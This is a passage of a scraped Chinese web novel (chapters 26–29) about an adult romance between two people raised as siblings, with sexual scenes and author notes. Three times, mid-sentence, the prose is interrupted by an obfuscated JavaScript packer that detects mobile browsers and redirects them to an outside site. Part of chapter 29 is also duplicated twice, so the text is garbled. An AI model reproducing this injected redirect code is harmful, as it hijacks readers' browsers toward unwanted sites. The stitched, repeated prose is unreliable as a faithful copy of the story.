云舒也抬头看他,像是听到了他的言外之意。 “云舒,替人接电话的时候总要自报家门,你呢,打算用什么身份?” ——你好,我哥不在,你待会儿打给他。 或者—— “你好,我是他女朋友,有事我可以转告。” 云舒吞咽了口唾沫,一边直视他,一边接了电话。 对面先开口:“梁总。” 云舒轻声说:“不好意思,我是他女朋友,他在忙,待会儿让他回你好吗?或者你有急事我可以转告。” 汤斯嘉似乎愣住了,半晌才笑了下:“啊……好的,也不是很急,那就不打扰了。” 电话挂断,梁思谌攥住她手腕,将人狠压在沙发上,逼视她:“我是你的谁?” 云舒偏过头,不答。 还不够吗?还要问。 当然不够,梁思谌将人锁进身体里,也要再问一句:“我是你的谁?” 云舒难耐,额头沁着汗,小声说:“男朋友。” 梁思谌像是得到了某种许可,沉下腰,精神和身体得到双重的满足。 云舒仰起头,仿佛急浪打礁,骨头都要散了,意识几次涣散,她抓住他的背,指甲都快要嵌进他肉里。 梁思谌不为所动,不肯放过。 作者有话要说 来了 第 27 章 我特别喜欢你 昏天暗地,结束后只想睡。 梁思谌捞她起来去洗澡,浴室里又一回,她求饶,问能不能睡一会儿,他看起来还是精神,真可怕。 梁思谌今天给自己放了一天假。 良辰吉日,不舍浪费,并不拒绝她,只是反复撩拨挑逗,等她难耐,问她要不要继续。 她已经快受不住,额头沁着薄汗,浑身都在颤,抓着他,肢体语言已经很明确,他偏要追问:“还要吗?” 他从小教她要主动,主动表达情绪,说爱说恨说喜欢说讨厌,主动去要什么,而不是别人给的一概承受。 他自觉教得很好,她在外面,是个很有原则和分寸的人,既不卑也不亢,可他唯一教不会的,是要她如何跟自己,跟家里人相处。 她需要很多很多的爱才能确认自己是被爱着,可梁家没有人能做得到,除了他。 可最爱她的人,却在逼她。 她很确定他作为哥哥的爱,却无法确定作为恋人的爱,这对大部分人来说都不是一个容易的选择,何况是她这种喜欢一成不变的东西,讨厌变化的人。 那无异于逼她接受,没有爱是长久的,哪怕哥哥的十年如一日的爱,都可能瞬间崩塌、流动,变成她陌生的样子。 他希望她能学会向他索取。 骤雨过后,太阳又出来了,金灿灿的,透过窗户斜照进来,云舒被刺得眼睛睁不开,把脸埋在他胸前,嘟囔了句:“你真的很变态。” 他喜欢明亮处,要看清她,窗帘大开,一室明亮。 第一回,倒没预想中那么难,他也没想象中那么蛮横不讲理,反倒温柔细致,耐心十足。 就是……莫名让人觉得变态。 “我以为你挺舒服。”因为是第一次,他用尽了耐心和温柔。 云舒抬手去堵他的嘴巴不让他说。 白日宣泄,清醒后只觉得荒唐,云舒声音都有点哑,浑身也疼,说不上是哪里疼,可就是难受。 下了床,腿都软,到处找不到自己衣服,只恨为什么不能隐身,或者把自己藏起来。 梁思谌好整以暇看她,唇角笑意都未散过,半晌,折起身,走过去一把抄起她,抱到浴室把她按在台子前接吻,眼前是她,隔着镜子能看到两个人接吻的样子,尤其自己的神色,情浓意浓,占有欲流水般淌泻,他双手插进她指缝,牢牢握住,居高临下深吻她,问她:“还满意吗?” 云舒偏过头,不答。 这人怎么这样。 “你不说话我就亲 你了。梁思谌欺近一步,将她揽靠在怀里,云舒几乎是跨坐在他腰上。 “还……可以。云舒抿唇,顿觉懊恼,怎么就这么回答了,他大约只是逗她玩,她这么认真回答,倒显得傻。 她这时才觉得,谈恋爱也是一门学问,而她在这门课上,是个十足的差生。 梁思谌低声笑:“还可以?我长这么大,几乎没得到过这样的评价。听起来很勉强,我技术很差?哪里差,说来听听,我好改进。 云舒:“…… 他亲她:“说话。 云舒试图捂他嘴,最后发现他这个人脸皮极厚,她越气急败坏他越兴奋,于是只好闭嘴,只小声说一句:“不要脸。 他倒是听得清楚,短促笑一声:“嗯,然后呢? 云舒不想听他再说这些,主动岔开话题:“我有个朋友要来。我过几天陪他,可能就不能和你联系了。 “男的女的?他只是惯例问一句,心里却知道,她很少有异性朋友,能约着出去玩的,基本是同性。 可这次云舒却咬了下唇:“……男的。 “嗯?梁思谌的声调都提了一度。 “他以前帮过我,求了我好几次,我不好意思一直拒绝。他大概待一周,可能就走了。 梁思谌的脸色沉冷,看着她的眼神似乎都带着些幽怨,声音酸得发苦,“谁啊,让我也见见,缠着女生要回报,多半不是个好东西。 云舒顿时笑起来,眼睛像是盛满了星星,她把手轻搭在他肩膀,与他面对面看着彼此,她说:“是梁醒啊,家里没人跟你讲吗,他今年回国过暑假,早早纠缠着要我陪他出去玩。 二爷爷家的小孙子,跟着爸妈在新加坡居住,今年才十二岁,全家最喜欢云舒,姐姐长姐姐短,小时候因为非闹着让云舒抱,没少挨梁思谌揍。 “啧,梁思谌还是满脸不情愿,“等他走,我一定送他十几套卷子。 “你别老吓他,他其实很喜欢你的。 …… 两个人额头抵着额头说话,不知道过去多久,只知道心里那边惶惶不安,就那么慢慢消散了。 “今天留在这儿吧。 云舒说要回家的时候,梁思谌揽住她,亲吻她耳畔,很认真地说了句,“你已经成年了,人生中的很多事都需要自己去做决定,无论是我还是家里任何人,没人能管你,你想住哪里都可以,你想做什么也都可以。 “不见得每个人都会支持你的决定,认同你的观点, 但你也不必迎合任何人,你只是你自己。我知道你和我的立场完全不同,所以我很难将这个观点传递给你,但无论如何,如果一定要有一个人来承担错误,那也是我,而不是你。” 他深知她是个聪明人,许多事想得不见得比他浅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13414197|124169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,但大概虚长她几岁,又从小照看她长大,总是难免耳提面命。 她太重情,有时不是好事。 云舒挣扎了片刻,还是摇头:“不行,我还是想回去。”她抬头,看着他,轻笑了一下,“哥……我确实一时很难改变性格,我犹豫、不安、恐惧,但喜欢你,不是妥协,是我和自己的懦弱胆怯对抗后的决定。” 梁思谌餍足,脾气变得温和了不少,点点头:“行,听你的。但现在别那么着急回去,行吗?我陪你出去吃顿饭,然后亲自送你回家。” 睡完就走,仿佛两个人是什么不正当关系,如果爸妈再盘问两句,她肯定会难过。 他是真怕了,哪怕睡过,也没能让他安下心。 云舒点点头:“嗯。” 两个人去外面吃,云舒挽着他手臂进餐厅的时候,心跳快得都要从嗓子眼蹦出来了,总觉得到处都是眼睛。 她轻声说一句:“哥,我总害怕会遇见熟人,然后猝不及防就暴露了,所以我很害怕在公众场合和你亲近,并不是觉得我们的关系见不得光,我只是不知道该怎么处理被发现这件事。” 她似乎第一次直面这个问题,她一直在默默恐惧,不断脑补,始终觉得这是自己的劫难,可她突然觉得,或许她依旧可以依靠他。 那并不是懦弱,而是—— 我们在一起。 所以我们彼此珍惜,互相依靠。 “所有的假想都是没有意义的,我们可以预判一些可能,但现实总是复杂的。”梁思谌表情严肃,“云舒,我只告诉你,不管遇到什么,就算天上下刀子,有人拿刀架在我脖子上,我都不会退缩,我的态度很明确,我要你。所以无论发生多么糟糕的事情,你只需要记得我永远都在,就够了。” 云舒点点头,用力握紧他的手:“我知道了。” “但我感觉你对我好像不那么坚定,我甚至觉得我在你心里位置和梁醒差不多,都只是那个对你死缠烂打你不得不妥协的存在。” 云舒无奈叹气:“我喜欢你,我特别喜欢你。你演绿茶一点都不像。” 他骨子里是个极度高傲的人,如果真的这么认为,压根儿不会问,之所以问出来,恰好是因为他确信她爱他,所以想要借此来诱使她承认。 云舒一想到他的自信大概是从床上来的,顿时懊恼地咬了下唇,她很敏感,情绪、身体,哪里都很敏感,以至于情动时,她自己都觉得那不像自己。 作者有话要说 来了 抱歉抱歉,感冒加姨妈,昏昏欲睡,我以为晚上会好受点,但还是不行,今天的双更鸽了,这章红包,我明天或者后天补。 晚安 第 28 章 我的人,我不能看... 梁思谌轻笑:“这么了解我,我很欣慰。” 云舒不理他。 餐厅服务生领着两个人去二楼,落座后云舒就偏头呛咳一下,旁边一张桌子上两个人,此时正狐疑看着他们。 夜晚的衍城璀璨异常,到处都很热闹。 餐厅也人满为患。 所以刚进来的时候,云舒就有一点不自在,好像阴暗角落里的蘑菇,被迫打上了聚光灯,只好安慰自己世上没有那么巧的事,衍城这么大,哪能到处是熟人。 可惜偏偏不凑巧,隔壁就坐着两个。 一个是云舒的初中同学,俩人曾经关系非常好,叫宁绯,一个是梁思谌的旧友,老爸生意上的朋友的儿子,还来过家里,云舒记得那时候叫他明诚哥,大概是姓霍。 两个八竿子打不着的人,此时坐在一张桌子上吃饭,同样费解这对兄妹为何手牵手过来吃饭。 云舒想装没认出来,可惜已经晚了,宁绯抬手打招呼:“云舒,好巧。” 云舒微笑着点头。 霍明诚也同梁思谌讲了句话,然后便算寒暄过。 梁思谌看向云舒,盯着她的脸看了足足半分钟,然后说:“如果觉得不舒服,我们就换家餐厅。只要你和我在谈恋爱,迟早是会被人发现的,哪怕是我爸妈,瞒得再紧,也不可能密不透风,可能是明年,但也可能是明天,甚至有可能我们从这里出去,就碰上任何一个人。” 服务生拿了菜单过来,云舒接过来,她确实很惊讶,也有片刻的不安,但也没有到必须换个餐厅的地步,她调整好表情,轻笑了下,“我知道,不用换,就在这儿吃,我只是太习惯做你妹妹,不太习惯做恋人。” 十几年的相处习惯,一时很难改变。 加上总担心事情败露后要面临叔叔阿姨的质疑和不解,所有总觉得跟梁思谌谈恋爱这件事不对,便很难去寻一个舒适的状态。 服务生都忍不住抬了下眉,大概觉得这俩人关系挺扭曲,旋即非常敬业地保持了冷静和漠然。 梁思谌轻颔首,“但也不用勉强,不舒服我们就换一家,我们时间还很多,可以慢慢来。我不希望你一直逃避,同样也不需要你把自己逼得很紧。我只是想你同我恋爱,是愉悦的。” 不用抱着死到临头的心态。 云舒随意点了招牌菜,然后递给他,手臂支在餐桌,微微倾身向前,她轻笑:“梁思谌,我真的没事,我知道,总有一天会暴露的,如果在外人面前我都没办法坦然,到时候我只会更痛苦。我只是觉得对 不起叔叔阿姨,但我并不觉得我跟你恋爱是一件错事,见不得人的事,我不怕被人知道。 她没叫他哥哥,是想告诉他,她是真的在努力调整心态。 梁思谌无心饮食,随便点了份餐,挥挥手让服务生离开了。 他眼眸盯着她看,确认她没有骗他,才放下心,“那最好。小舒,我年纪大了,经不起折腾,不要折磨我。我说过,除了分手,什么都可以谈。 云舒手托着下巴,看着人走远,才说了句:“你骗人,我下午说不要了,你也没听。你什么都不听我的。 梁思谌愣了片刻,旋即笑起来,“这你也要秋后算账?我以为床上的事只能算情趣,不能算商议。 他坐在这里,浑身上下都是一种冷淡禁欲的气质,怎么看都不像一个变态,云舒无力反驳,最终哼一声,“你不讲理。 “在床上讲理?梁思谌觉得好笑,“小舒,到底谁不讲道理。 云舒不愿意在这里跟他纠缠床上的事,偏过头,看着窗外,夜幕下的衍城别有风味,她忽然说:“这里离家不远,我们待会儿走回去吧。 梁思谌刚想说什么,云舒又说了句,“我们好像总是急匆匆的,还没一起散过步。 梁思谌一直看着她,她眼神失焦,略微出神,不知道想起了什么,唇角微微翘着。 她的侧脸很美,像一副玉雕作品,会让人赞叹这精绝的雕工,浑然天成,美得动人心魄。 又或者,她只是他一个人的蛊。 “好。他说。 云舒回过头,同他对上目光,睫毛微颤,眼波流转片刻,好奇问:“你盯着我干嘛?我脸上有什么吗。 梁思谌一本正经地挑眉,“我的人,我不能看? 云舒搓了搓胳膊:“…… 梁思谌笑了下:“你也可以看回来,我又没不让你看。 真无赖。 云舒腹诽,却忍不住真的抬头看,然后突然意识到,似乎好像从没有这么认真看过他,他在外和在家是两种状态,在外人和在熟人面前,也是两种状态。 人群中的梁思谌有些冷漠和疏离,那眼神里锋芒过剩,让人心生畏惧。 他们上学时候,还流行遴选校草和校花,梁思谌无疑是当仁不让的那个,可惜从没人敢当面这么叫,也很少有人敢对他表白。 不过还是有的,云舒记得大概是她上初中的时候,他那会儿已经快要出国了,他们班的一个女生当着全校师生的面,在广播里喊:“国际A班 的梁思谌同学,很高兴认识你,你或许不太记得我,但我一直在你座位后,我喜欢你,我知道你不会喜欢我,我只是想告诉你一声,这样我就没有遗憾了。” 表白的女生叫什么来着?云舒已经记不清了,但印象里那一阵就连初中部到处都是谈论这件事的,云舒记得自己那会儿特别不高兴,但究竟为什么不高兴,她自己也讲不清楚,现在想想,大概是一种占有欲在作祟,潜意识里把哥哥当自己的所有物,预料到有可能将来他会有另一半,会不再把心思花在她身上,就觉得难以接受。 可惜她迟钝,一直没弄懂其中潜藏的逻辑,那已经超出妹妹的情感范畴了。 两个人的关系,或许从很早就处在一种古怪的氛围里,然后慢慢越来越扭曲,到最后失控大约是一种必然。 “哥,你真的没谈过恋爱吗?”云舒问他。 “没有。”梁思谌推了下眼镜,认真凝视他,“在怀疑什么?直接问,不要试探,我没有什么不可以告诉你的。” “就是问问。”云舒表情平淡,似乎真的只是突然想起来问一句,“以前挺多人对你表白,你想要谈恋爱,应该很容易。” “但我不喜欢。”梁思谌有些不悦,大概是因为她轻视了他的爱,“从你很小,我的心就扑在你身上,长大了更甚,因为要操心的实在太多了,你或许自己都没有意识到。你学业上很容易跟自己较劲,每次你考得不好,我比你都头疼……当然,这些确实是我管太宽,但等我意识到的时候,我便也同样意识到我对你的感情不纯,我内心的挣扎不比少半点,甚至更激烈。在这种状况下,我很难去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13414198|124169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跟任何异性有接触,更不可能在心有所属的情况下去接受任何人。” 云舒看他表情认真,甚至都带了点怒意,于是也忍不住拘谨了一下,说:“我真的就是随便问问。好吧……我是想到你上学时候被人广播表白,闹得轰轰烈烈,后知后觉……有点吃醋。” 梁思谌:“……” 他深呼吸,半晌才有些哭笑不得说:“你不说我都已经忘记了,我跟那个女生统共就没说过几句话,她那个广播给我造成了非常大的影响,事后她跟我道歉我甚至都没有接受。” 云舒举手:“好了我错了,你不要这么严肃,我害怕,你别动不动就凶我。” 梁思谌:“……我没凶你。” 云舒认真看他:“你有。” 梁思谌再次深呼吸,换上一副微笑脸,声音都夹起来:“好,我的错,我改。” 云舒微笑颔首:“嗯。”- 吃完饭,宁绯和霍明诚同他们一同出餐厅,各自的司机前后脚开到餐厅门廊下。 梁思谌给云舒开了车门,然后才坐进去,霍明诚走过来,敲开车窗。 梁思谌侧头看他。 霍明诚笑了下:“今晚遇见的仓促,改天我请梁总和……”他看了一眼云舒,以及梁思谌同她紧握的手,从善如流说了句,“请梁总和女朋友吃顿饭,我们大概也有五六年没见了。” 梁思谌颔首,“客气,我听说你最近在做软件开发,改天可以交流一下。” 以前玩得还不错,但毕竟是年少情谊,霍明诚也没想到梁思谌会递台阶,忙点头:“一定,那改天见。” 霍明诚带着宁绯也上了车,宁绯上车前,扭头看了一下后车,表情有些复杂。 宁绯和云舒关系曾经特别好,不过两个人都有点被动型人格,后来分班后交集少了,慢慢就不联系了。 梁思谌亲自送她回家,今晚留宿家中,确保她能有一点安全感,不至于无法面对家里人。 云舒在睡前收到一条短信,附带几张照片,是宁绯发来的,云舒那时候在私高上学,附近有条巷子,梁思谌跟人打架,手臂受伤,他撕开校服在手臂上缠了几圈,顺便又揍了人几拳。 “以前欺负你的那几个小混混,你哥见一次打人一次,有一次甚至闹到派出所,不过你哥警告过,没人敢告诉你,我那时就觉得,你俩不像兄妹,我还觉得是我脑补太过。我记得有天下雨,我拍雨景正好拍到,一直留在相机里没有删,我那时候就想给你,后来觉得像告状,就没给。没想到你们最后会在一起,所以还是找出来了,希望没有打扰到你。” 云舒根据短信的手机号,加了宁绯的微信。 两个人很久不说话,再聊天却没什么隔阂,大概天生就适合做朋友的人,不会因为时间而淡化。 宁绯跟她说了很多,比如梁思谌在外人眼里究竟是个什么样的人,他都做过哪些她不知道的事。 云舒以为自己足够了解他,竟然还是有这么多空白。 “那会儿其实不少人调侃你哥,说他不是在给自己养童养媳吧。” “。” “你哥冷着脸说不想再听见有人说这句话,后来就没人敢提了,他板着脸的样子还挺吓人的。” 作者有话要说 来啦~ 明天周六,但明天会更新,补昨天的~么么 第 29 章 我走了 云舒其实早就忘了,需要很努力才能回忆起细节。 她的记忆里,并没有那么丰富,人生的前十几年甚至枯燥到乏味,每天就是上课下课,读书写字,偶尔跟哥哥单独在一起,都觉得短暂得稍纵即逝。 宁绯说的那件事其实对她来说印象并不深刻,她长了一张人畜无害的脸,刚升初中那会儿,还没人知道他是梁思谌的妹妹,隔壁学校几个男生,每天在他们学校溜达,经常见她放学时候等在西门口。 因为梁思谌的放学时间比她要晚二十分钟,小陈叔叔需要来接两次,她不想小陈叔叔辛苦,也想跟哥哥一起回家。就说让小陈叔叔按梁思谌放学时候来接,她可以等一会儿。 西门口有个便利店,云舒经常在那里写作业,顺便等哥哥。 有一天便利店挤满了人,可能哪个班级集体出动,云舒便坐在外面的露天休息区,人来人往,吵闹喧哗,她塞着耳机,在听英语听力,突然有人拿纸团砸她,回头就看到一个挑染了几缕蓝发的男生,个子高高的,长得还不错,就是瘦得像麻杆,眼神也让人不舒服。 云舒拧着眉,问他:“干什么?” “哪里来的小朋友,等家长来接吗?”他微微弯腰,用一种调侃的语气笑问。 他周围跟了一圈朋友,闻言笑得前俯后仰,有人甚至拿手肘撞他,学着台湾腔:“老大,你真的很贱欸。” 然后又是一阵哄笑。 好像戏弄她是件很好玩的事。 云舒觉得非常讨厌,收拾自己的东西,然后起身。 男生追在她后面:“你叫什么名字啊。” “交个朋友呗。” “害羞啊?怎么不说话。” “你不理我我以后天天来蹲你了。” …… 云舒其实有些怕,慌不择路,出了校门往右走,走着走着就走到偏僻的巷子,她心道完了,又惶急往回走,男生领着一群人把她围住,他手插在口袋,居高临下俯视她:“手机号给我,我就放你走。” 她表情始终很平静,好像那张人畜无害的脸后面,住着一个冷美人,男生心痒难耐,伸手想去捏她的脸。 云舒躲开,冷冷看他, 其实是害怕,她越害怕,反而越平静,大概是一种自我保护机制。 对方人太多了,她根本无法预估自己会遭遇什么,只想快些逃脱包围,她手攥着书包带,掌心都湿透了,忽然,她趁着周围人交头接耳,男生也侧头跟朋友在讲话,她瞅准空隙,抬腿就跑。 男生伸手抓她,没抓到,但手指都勾到云舒的衣服了。她恐惧到后背发麻。 她跑得那么快,上体育课都没这么拼命过,生怕被追上,她一路跑到高中部,梁思谌正好下楼,同人边走边讲话,一扭头,云舒一头撞在他怀里。 惯性太大,撞得他胸口生疼,他下意识揽住她,虽然不知道发生了什么,但已经有预感,低下头安慰她:“没事了,哥哥在呢”。 云舒的胸口也跑得生疼,喉咙似乎都有血腥味了,肺都要炸了,大口喘着气,疼得面部都扭曲,这时才敢回头看,那些人没追上,她松了一口气,后怕涌上来,浑身都发软,终于拗哭出声。 太累了,甚至哭了两声就哭不出声音,只是无声嚎啕,那样子太可怜,梁思谌一瞬间杀人的心都有了。 他无措地扶住她,不停拍她后背,低声问她:“怎么了?谁欺负你?” 最后是路过的一个外班女生扬声说了句:“梁思谌,隔壁学校姓杜的那帮人刚把你妹围起来堵在巷子口呢!” 那群人据说挺出名,就是一群小混混。 嘭—— 他们在校门口就遇到那群人,书包砸向那人的声音把云舒都吓一跳。 梁思谌身边就跟着两个人,一个是杜少霆,一个就是霍明诚。 蓝毛刚扭头,还没来得及说话,拳风就倏忽而至,梁思谌一拳打在他面门,揪着他衣领,把他拖到无人处。 霍明诚掏出电话找人,怕人手不够吃亏。 杜少霆却知道梁思谌很能打,没那么急。 梁思谌从小培养出来的,他们这种家庭本来就注重安全教育,梁思悯小时候在美国还被绑架过,所以很小就开始教防身,不见得多能打,但吓唬几个小混混没多难。 杜少霆觉得问题不大,扭头扯了云舒一下,没忘安慰她:“没受伤吧?” 云舒摇摇头:“没……没碰到我。” 杜少霆松了口气,笑了下,还开了句玩笑:“幸好,不然你哥今天非把人揍进医院不可。” 梁思谌没多久就回来了,只是揉着手,表情若无其事地说一句:“走了,回家。” 云舒在车上解释了经过,梁思谌没说什么,只是第二天,司机就提前来接了,那时云舒还很难过,因为不能和他一起回家。 她不高兴了几天,梁思谌便让她放学去他们班隔壁的小办公室,他跟老师打过招呼,让她在那边自习一会儿。 小办公室只是老师们临时休息的地方,平常没有人,和自习室也差不多,那 一阵他们班离开的时候都会绕到小办公室窗口看一眼,特稀奇说一句:“哇,梁思谌的妹妹一看就是个妹妹。” 大概是说她符合人们对妹妹的刻板印象:乖巧、听话。 又过了没几天,学校开始加强管理,严格限制非本校人员进出,并且增加了保安巡逻。- 他后来又去找那些人麻烦了吗? 为什么。 云舒不知道,但印象里他不是个揪住不放的人,大概还发生了什么。 宁绯把拍的照片都给她了。 云舒一张一张反复看,年轻时候的梁思谌稍显青涩,身形也略显单薄,但肩膀已经很宽了,个子比同龄人都要高一些,他对云舒很严厉,管的非常细致,有时候连她每天吃什么都要管,她有时候自己都记不清自己吃过什么,但他都知道,如果哪天少吃了,他都会多问一句是不是不舒服。 但他太不动声色了,云舒总觉得他本性就是个细致、严谨,变态严格的人,从没觉得是因为自己特殊。 那时的梁思谌在想什么呢?云舒不知道,也不敢去想。 她记得他说过:“我内心的挣扎不会比你少半点。” 她对那句话没有太大的实感,因为他本质上就不是一个优柔寡断的人,他总是很清楚自己想要什么,哪怕短暂的犹豫不决,也会很快找到方向。 云舒总觉得他是个无所不能的人。 因为她从没有想过……他会那么早动心思。 云舒睡不着,翻来覆去在想,想以前,循着记忆去找寻过去的丁点痕迹。 最终,她起了身,悄悄爬上楼梯,站在他门前试着拧了下门,他没有反锁,拧一下就开了,云舒心脏突然狂跳两下,悄无声息进去,关了门,再反锁上。 梁思谌已经熄了灯,但睡觉警醒,骤然开灯,就看见云舒蹑手蹑脚走进来。 四目相对,气氛沉寂了足足有半分钟。 梁思谌才招了下手:“我这还没睡着就开始做梦了吗?别告诉我你在梦游。” 她小时候还经常到他房间来看书写作业,大概上初中之后就再也没进过他房间了,他也很懂分寸地不再邀请她来房间。 时隔多年,再次踏进这件房间的时候,云舒甚至感觉到完全的陌生。 这不再是桃花源和避难所,是男朋友的房间。 云舒终于动了下,走过去,挨着他躺下来,把自己缩进被子里,手搂住他脖子,悄声问:“你什么时候喜欢我的。” 梁思谌仔细凝视她,像是要从她那张脸 上看出点什么。 事实证明他的确太过于了解她,问:“谁跟你说什么了?” 甚至是很让她意外的话,不然她不会半夜偷偷摸进她房间。 梁思谌喜欢她这件事,他没跟任何人说过,一个人都没有。 爱本无罪,但人生活在社会里,活在道德无时无刻的审判下,年上者的爱对她来说如砒.霜,是一种致命毒药,他没办法放任自己腐蚀她伤害她,所以最好的办法就是藏好了,保持绝对的缄默,也杜绝一切引诱的可能。 他自诩有惊人的自制力,可一瞬间也慌了神,以为自己漏了什么把柄被人看穿了。 虽然早已是过去式,但他并不太想让她知道这些。 于是赌一把,含糊道:“很早,早到说出来都不太体面,我不想提这个,可以吗?” 这句话隐藏的信息让云舒感到惊骇,她微微张了下嘴巴,想说什么,可什么也说不出来,最后只是点点头:“好。” “我以为你会逼问一下。”梁思谌轻笑,“就是因为你这样,我厌恶一切靠近你的异性,没有人配得上你的温善,男人没有几个好东西。” “那你是吗?”云舒都有些哭笑不得,这是什么逻辑。 “我不知道,或许是,或许不是。我只是知道,没有人比我更懂得如何爱你。” 其实云舒自己都不知道她需要什么样的爱,但其实长这么大,她愿意这么黏着他,哪怕他那么凶那么严厉,管得还宽,她还是最亲近他,这大概也变相说明,他的确有资本说这句话。 “所以你半夜跑来我房间干什么?”梁思谌亲吻她的鼻尖,“说话。” 云舒不说话,微微抬头吻他。 梁思谌却并不回应,盯着她,“说话,不要搪塞我。” 担心发生什么事,害怕是暴风雨来临前的宁静,也会恐惧是不是最后的晚餐。 什么强势霸道,都是假的,他才是那个被她牵着鼻子走的人,仿佛悬崖走钢丝,被她的情绪反复扯着,随时都要跌下深渊。 云舒搂住他的脖子,小声说:“没事,就是突然很想你。” “真没事?” 云舒本来想问他为什么后来还要揍那几个男生,其实本意是想确认他是不是那时候就…… 但他不想提,那她就不问了。 其实也已经给她答案了。 云舒摇摇头,反客为主道:“你不喜欢我进你房间吗?” “确实不喜欢,”梁思谌蹙眉,“在你房间被发现可以说我强迫你 ,你偷摸进我房间,我怎么跟爸妈交代。” “要不就说我梦游,学习压力大。” “你会撒谎吗你就编瞎话?”梁思谌太了解她。 云舒笑了笑:“不会,但我有你,我相信你。” 梁思谌捏她的脸:“除了你自己,谁都不可信。”他下意识想教育她,顿时又鄙夷自己,当哥当习惯了都不会做男朋友了。 于是他低头,轻吻她嘴巴:“但你可以无条件信任我,没有人会亲手摧毁自己悉心照料大的玫瑰。” 云舒表情复杂地看着他。 梁思谌偏头笑:“杜少霆说的,我抄来用用,酸了吧唧的,他都快压抑成变态了。” 云舒转了下眼珠子,旋即似乎意识到什么,瞪大眼看他。 杜少霆和妹妹这些年几乎相依为命。 梁思谌捂住她的嘴:“别说出来。” 云舒点了点头。 聊了这么会儿,云舒心里那点辗转反侧的惶惶不安,也就散得差不多了。她小声说:“我要回去了。” “你想来就来,想走就走啊?”梁思谌刚抱了一会儿,顿时不爽。 “那你说你想干什么。”云舒无奈看他,早知道不偷偷来了。 “干什么?你呗。”梁思谌把她抱到身上,平躺着跟她说话。 这姿势云舒非常难受,手肘撑起来,看了他一会儿,“难道你在你房间里放套了?” 自己一个人住的公寓都不备,云舒不信他会在自己家的房间里备。 梁思谌:“……” 还真没有。 于是云舒放心地对他动手动脚片刻,然后翻身下床,“我走了。” 作者有话要说 梁思谌:? 来啦,感冒两天睡颠倒了我,晚上才清醒。 明天我把药停了,争取早点更新~ ,你偷摸进我房间,我怎么跟爸妈交代。” “要不就说我梦游,学习压力大。” “你会撒谎吗你就编瞎话?”梁思谌太了解她。 云舒笑了笑:“不会,但我有你,我相信你。” 梁思谌捏她的脸:“除了你自己,谁都不可信。”他下意识想教育她,顿时又鄙夷自己,当哥当习惯了都不会做男朋友了。 于是他低头,轻吻她嘴巴:“但你可以无条件信任我,没有人会亲手摧毁自己悉心照料大的玫瑰。” 云舒表情复杂地看着他。 梁思谌偏头笑:“杜少霆说的,我抄来用用,酸了吧唧的,他都快压抑成变态了。” 云舒转了下眼珠子,旋即似乎意识到什么,瞪大眼看他。 杜少霆和妹妹这些年几乎相依为命。 梁思谌捂住她的嘴:“别说出来。” 云舒点了点头。 聊了这么会儿,云舒心里那点辗转反侧的惶惶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13414199|124169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不安,也就散得差不多了。她小声说:“我要回去了。” “你想来就来,想走就走啊?”梁思谌刚抱了一会儿,顿时不爽。 “那你说你想干什么。”云舒无奈看他,早知道不偷偷来了。 “干什么?你呗。”梁思谌把她抱到身上,平躺着跟她说话。 这姿势云舒非常难受,手肘撑起来,看了他一会儿,“难道你在你房间里放套了?” 自己一个人住的公寓都不备,云舒不信他会在自己家的房间里备。 梁思谌:“……” 还真没有。 于是云舒放心地对他动手动脚片刻,然后翻身下床,“我走了。” 作者有话要说 梁思谌:? 来啦,感冒两天睡颠倒了我,晚上才清醒。 明天我把药停了,争取早点更新~ ,你偷摸进我房间,我怎么跟爸妈交代。” “要不就说我梦游,学习压力大。” “你会撒谎吗你就编瞎话?”梁思谌太了解她。 云舒笑了笑:“不会,但我有你,我相信你。” 梁思谌捏她的脸:“除了你自己,谁都不可信。”他下意识想教育她,顿时又鄙夷自己,当哥当习惯了都不会做男朋友了。 于是他低头,轻吻她嘴巴:“但你可以无条件信任我,没有人会亲手摧毁自己悉心照料大的玫瑰。” 云舒表情复杂地看着他。 梁思谌偏头笑:“杜少霆说的,我抄来用用,酸了吧唧的,他都快压抑成变态了。” 云舒转了下眼珠子,旋即似乎意识到什么,瞪大眼看他。 杜少霆和妹妹这些年几乎相依为命。 梁思谌捂住她的嘴:“别说出来。” 云舒点了点头。 聊了这么会儿,云舒心里那点辗转反侧的惶惶不安,也就散得差不多了。她小声说:“我要回去了。” “你想来就来,想走就走啊?”梁思谌刚抱了一会儿,顿时不爽。 “那你说你想干什么。”云舒无奈看他,早知道不偷偷来了。 “干什么?你呗。”梁思谌把她抱到身上,平躺着跟她说话。 这姿势云舒非常难受,手肘撑起来,看了他一会儿,“难道你在你房间里放套了?” 自己一个人住的公寓都不备,云舒不信他会在自己家的房间里备。 梁思谌:“……” 还真没有。 于是云舒放心地对他动手动脚片刻,然后翻身下床,“我走了。” 作者有话要说 